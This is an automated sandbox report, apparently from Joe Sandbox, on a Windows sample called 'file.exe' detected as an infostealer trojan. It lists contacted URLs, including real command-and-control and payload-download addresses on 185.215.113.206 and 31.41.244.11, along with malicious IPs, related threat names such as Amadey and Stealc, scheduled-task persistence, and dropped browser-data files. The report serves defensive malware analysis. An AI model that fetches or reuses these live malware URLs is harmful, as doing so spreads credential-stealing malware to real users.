https://excel.new?from=EdgeM365Shoreline	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DAFIEHIEGDHIDGDGHDHJJJDGHJ.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.10.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_464.5.dr	false		high
https://www.google.com/chrome	content.js.10.dr, content_new.js.10.dr	false		high
https://www.tiktok.com/	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll4	file.exe, 00000000.00000002.2059475906.00000000016B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/1724962075/7mpPLxE.exeshqos.dll	skotes.exe, 0000001A.00000002.2751593438.000000000102B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.10.dr	false		high
https://chromewebstore.google.com/	manifest.json.10.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.2081521402.0000000023C80000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.10.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.10.dr	false		high
https://msn.comXIDv10	Cookies.11.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 0000001A.00000002.2751593438.0000000001069000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2751593438.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2751593438.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpD0	file.exe, 00000000.00000002.2081521402.0000000023C80000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://chrome.google.com/webstore/	manifest.json.10.dr	false		high
https://y.music.163.com/m/	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
http://31.41.244.11/files/1724962075/7mpPLxE.exek	skotes.exe, 0000001A.00000002.2751593438.000000000108C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bard.google.com/	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllX	file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://web.whatsapp.com	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
https://m.kugou.com/	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
https://www.office.com	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
https://outlook.live.com/mail/0/	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
https://ntp.msn.com/edge/ntp	000003.log9.10.dr, 2cc80dabc69f58b6_1.10.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1789958815.0000000023C2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2059475906.00000000016D2000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733046981.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2732906553.00000000054CB000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733221205.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, FHDAEHDA.0.dr, ECFCBKJD.0.dr, Web Data.10.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.165.220.106	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
23.57.90.134	unknown	United States	35994	AKAMAI-ASUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.136.136	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
23.57.90.140	unknown	United States	35994	AKAMAI-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
18.239.168.24	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
23.209.72.10	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
4.153.29.52	unknown	United States	3356	LEVEL3US	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
20.42.73.30	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.219.82.24	unknown	United States	20940	AKAMAI-ASN1EU	false
172.67.162.84	property-imper.sbs	United States	13335	CLOUDFLARENETUS	false
104.117.182.32	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.8
192.168.2.9
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562010
Start date and time:	2024-11-25 03:38:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@73/298@25/30
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.238, 172.217.21.35, 74.125.205.84, 34.104.35.123, 199.232.210.172, 172.217.19.170, 172.217.17.42, 172.217.21.42, 142.250.181.106, 172.217.17.74, 172.217.19.202, 142.250.181.74, 172.217.19.234, 142.250.181.42, 192.229.221.95, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.69.228, 2.19.198.56, 23.32.238.138, 23.206.197.33, 23.206.197.24, 23.206.197.26, 23.206.197.34, 23.206.197.18, 23.206.197.25, 23.206.197.16, 23.206.197.42, 23.206.197.35, 104.126.37.169, 104.126.37.168, 104.126.37.152, 104.126.37.160, 104.126.37.153, 104.126.37.179, 104.126.37.155, 104.126.37.178, 104.126.37.170, 23.32.238.217, 23.32.238.168, 23.32.238.202, 23.32.238.240, 23.32.238.210, 23.206.197.48, 23.206.197.43, 23.206.197.56, 23.206.197.17, 23.206.197.49, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.165.61.93, 172.217.165.131, 142.250.65.163, 142.251.41.3, 142.251.32.99, 142.250.176.195, 142.251.35.163, 142.251.40.227
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, con
Execution Graph export aborted for target 7mpPLxE.exe, PID 8200 because there are no executed function
Execution Graph export aborted for target DocumentsFBFCAKKKFB.exe, PID 7468 because it is empty
Execution Graph export aborted for target skotes.exe, PID 8884 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:40:08	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
21:39:46	API Interceptor	144x Sleep call for process: file.exe modified
21:41:01	API Interceptor	173x Sleep call for process: skotes.exe modified
21:41:17	API Interceptor	2x Sleep call for process: 7mpPLxE.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
property-imper.sbs	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://clever-photos-686127.framer.app/	Get hash	malicious	Unknown	Browse	52.123.128.14
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.75.60.91
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	apep.mpsl.elf	Get hash	malicious	Mirai	Browse	22.17.151.205
	apep.spc.elf	Get hash	malicious	Mirai	Browse	20.128.235.115
MIT-GATEWAYSUS	https://clever-photos-686127.framer.app/	Get hash	malicious	Unknown	Browse	18.66.161.42
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	apep.spc.elf	Get hash	malicious	Mirai	Browse	18.103.240.59
	apep.sh4.elf	Get hash	malicious	Mirai	Browse	19.23.38.41
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.160.60.23
	lw2HMxuVuf.exe	Get hash	malicious	Unknown	Browse	18.66.102.106
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.66
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	19.78.207.208
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	19.166.178.22
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	19.39.200.131

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 20.190.177.147 184.30.17.174
	425041987.html	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 20.190.177.147 184.30.17.174
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 20.190.177.147 184.30.17.174
	FGQ-667893.pdf	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 20.190.177.147 184.30.17.174
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 20.190.177.147 184.30.17.174
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 20.190.177.147 184.30.17.174
	https://clever-photos-686127.framer.app/	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 20.190.177.147 184.30.17.174
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 20.190.177.147 184.30.17.174
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 20.190.177.147 184.30.17.174
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 20.190.177.147 184.30.17.174
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AEBKECFCFBGCAAKEGIJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKKKECBKKECGCAAAEHJKJJJDGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFBAAFHDHCBGCAKFHDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DAFIEHIEGDHIDGDGHDHJJJDGHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECFCBKJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2648057681624723
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM3SAELyKOMq+8QTQKC+CVumi:K0q+n0J39ELyKOMq+8Q7t
MD5:	C69F1A515350EB527B741221BDEB0C51
SHA1:	751C9F3E3EB471E366166377091D566FE97DD764
SHA-256:	D6276D5F97C7F818F79F72FB34BCEA73F41F55924FFAF03EB75D05C34F3FFF07
SHA-512:	E23D4BD6B5440D65B4F987F7E6F8F44AFE635933C6F36326D036AB8B79D3D224CB459FA4C21C3B83F408C879F51A4358ACD40765E05853F7F553DC54C484D19D
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIJDHCGCBKECBFIJKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHDAEHDA

Download File

Process:	C:\Users\user\Desktop\file.exe
